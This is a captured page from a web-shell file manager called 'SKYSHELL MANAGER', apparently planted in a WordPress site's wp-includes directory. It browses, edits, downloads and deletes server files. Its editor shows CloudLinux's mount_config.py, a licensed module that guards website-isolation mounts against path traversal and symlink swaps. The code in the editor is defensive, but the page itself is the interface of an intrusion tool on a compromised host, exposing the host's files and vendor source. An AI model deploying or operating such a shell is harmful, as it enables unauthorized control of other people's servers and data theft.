📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
terracebizon
/
public_html
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
12934.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: mount_config.py
#!/opt/cloudlinux/venv/bin/python3 -sbb # -*- coding: utf-8 -*- # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENCE.TXT # """ Mount configuration builder for website isolation. The code handles all standard behavior (docroot isolation, home overlay, etc). """ import os import os.path from dataclasses import dataclass, field from .docroot_validation import validate_docroot_no_symlinks from .jail_config import MountEntry def _source_looks_tenant_writable(source: str, raw_prefix: str, resolved_prefix: str) -> bool: """Return True if the raw ``source`` string sits lexically under the tenant's home (as raw or resolved) and therefore counts as a tenant-writable bind source that must be revalidated at the mount sink. The classification is deliberately lexical, not realpath-based: a symlink swap that makes ``realpath(source)`` escape the home tree is exactly the case the sink revalidation must catch, so the classifier cannot itself dereference the symlink or the swapped-out source would be misclassified as operator-controlled and skipped. The subsequent validator run performs the safe fd-walked resolution. """ for prefix in (resolved_prefix, raw_prefix): marker = prefix.rstrip("/") + "/" if source == prefix or source.startswith(marker): return True return False @dataclass class IsolatedRootConfig: """ Configuration for a directory overlay. Closes access to a directory by mounting a fake/empty directory over it, then selectively exposing only whitelisted paths. Storage is computed as: {storage_base}/{name} """ # Path to the root of this storage (e.g. ~/.clcagefs/website/123/home) root_path: str # Real directory to close target: str # Use temporary tmpfs for storage (default: real directory) persistent: bool = True # List of mounts made inside of this root (dynamically) mounts: list[MountEntry] = field(default_factory=list) # F-36 (CLOS-5423): defense-in-depth path-traversal guard at the mount # sink. All callers reach mount() via write_jail_mounts_config, which # runs validate_docroot (regex allowlist rejecting whitespace, `[`, # `]`, `,`, `;`, quotes) and validate_docroot_no_symlinks (O_NOFOLLOW # component walk from the resolved user home) before this point. # However, those checks compare *resolved* paths while mount() below # composes a mount-target string from the *raw* spellings via # os.path.relpath - so a benign operator alias (e.g. `/home -> /home2` # with panel-returned `/home2/user/public_html` against a raw # `self.target = /home/user`) would produce a relpath prefixed with # `..`, and the emitted `{root_path}/{relative_path}` string would # lexically escape root_path. Canonicalise both paths here before # composing the relative segment and reject any residual escape. # Any new caller must uphold the trust-boundary contract above. def mount(self, type_, source, target, opts: tuple = tuple()): """Mounts whatever asked into the root of isolated storage""" # Resolve both sides so an aliased-but-equivalent target # (e.g. `/home2/user/public_html` vs raw `self.target=/home/user` # under `/home -> /home2`) produces a clean tail segment instead # of a `..`-prefixed escape. resolved_self = os.path.realpath(self.target) resolved_target = os.path.realpath(target) # F-16 (CLOS-5954) DiD: mount() only canonicalises the target # here; the caller-supplied `source` is otherwise stored raw in # MountEntry and later handed to a root-run bind mounter that # follows symlinks. If the source is a path under the tenant's # home (i.e. under self.target), revalidate it with the # component-walking no-symlink check right at this sink so a # tenant swap between config-gen and the final persist is # rejected. Sources rooted outside the tenant's home # (`/etc/...`, `/var/...`, `/proc/...`, etc.) are operator- # controlled and are not revalidated - the operator boundary # is trusted. Full TOCTOU closure still requires the C-side # mount consumer to bind through an fd (see F-11 / F-14). if _source_looks_tenant_writable(source, self.target, resolved_self): try: validate_docroot_no_symlinks(source, self.target) except ValueError as exc: # Re-raise with a class-neutral generic message; the # inner detail is preserved via __cause__ for logs but # never surfaces to callers. raise ValueError("Invalid bind source in jail configuration") from exc relative_path = os.path.relpath(resolved_target, resolved_self) # os.path.relpath emits `..` (or a `../`-prefixed string) when the # resolved target does not lie under the resolved overlay root - # exactly the case that would produce a mount-target string # escaping root_path. Refuse: a well-formed jail cannot contain # such an entry. if relative_path == ".." or relative_path.startswith("../"): raise ValueError( "Invalid mount target: resolved target " f"{resolved_target!r} escapes overlay root " f"{resolved_self!r} (target={target!r}, " f"self.target={self.target!r})" ) self.mounts.append(MountEntry(type_, source, f"{self.root_path}/{relative_path}", opts)) def overlay_path(self, path: str) -> str: """Where ``path`` lands inside this overlay's skeleton. The same mapping ``mount()`` applies to its target, exposed so a caller can name a mount this overlay has ALREADY made rather than the real directory behind it - see the CLOS-6824 alias mirroring in jail_config_builder, which must bind the skeleton's own docroot mount (blanked children and all) instead of re-binding the real docroot. """ resolved_self = os.path.realpath(self.target) resolved_path = os.path.realpath(path) relative_path = os.path.relpath(resolved_path, resolved_self) if relative_path == ".." or relative_path.startswith("../"): raise ValueError( f"Invalid overlay path: resolved path {resolved_path!r} " f"escapes overlay root {resolved_self!r} (path={path!r}, " f"self.target={self.target!r})" ) return f"{self.root_path}/{relative_path}" def mount_alias(self, type_, source, alias, opts: tuple = tuple()): """Mount ``source`` at ``alias``, keeping the alias name unresolved. CLOS-6824. ``mount()`` above canonicalises its target, which is right for every other caller - an aliased-but-equivalent target must fold onto one clean tail segment. It is precisely wrong here: ``realpath`` would fold DirectAdmin's ``private_html`` back onto ``public_html``, so the entry would silently duplicate the canonical docroot mount and the alias path would never be created inside the skeleton - the very gap this exists to close. Only the alias PARENT is canonicalised; the leaf is kept as supplied. The emitted target therefore still cannot escape the overlay root - the escape check below runs against the resolved parent - while the alias name survives into the mount config. The leaf must be a single path component: it comes from a directory entry, so it can contain no separator, and ``.`` / ``..`` are refused rather than silently normalised. """ parent, leaf = os.path.split(alias) if leaf in ("", ".", ".."): raise ValueError(f"Invalid mount alias leaf: {alias!r}") resolved_self = os.path.realpath(self.target) resolved_target = os.path.join(os.path.realpath(parent), leaf) # Same sink revalidation as mount(): the source is a tenant path # handed to a root-run bind mounter that follows symlinks. if _source_looks_tenant_writable(source, self.target, resolved_self): try: validate_docroot_no_symlinks(source, self.target) except ValueError as exc: raise ValueError("Invalid bind source in jail configuration") from exc relative_path = os.path.relpath(resolved_target, resolved_self) if relative_path == ".." or relative_path.startswith("../"): raise ValueError( "Invalid mount alias: resolved target " f"{resolved_target!r} escapes overlay root {resolved_self!r} " f"(alias={alias!r}, self.target={self.target!r})" ) self.mounts.append(MountEntry(type_, source, f"{self.root_path}/{relative_path}", opts))
Save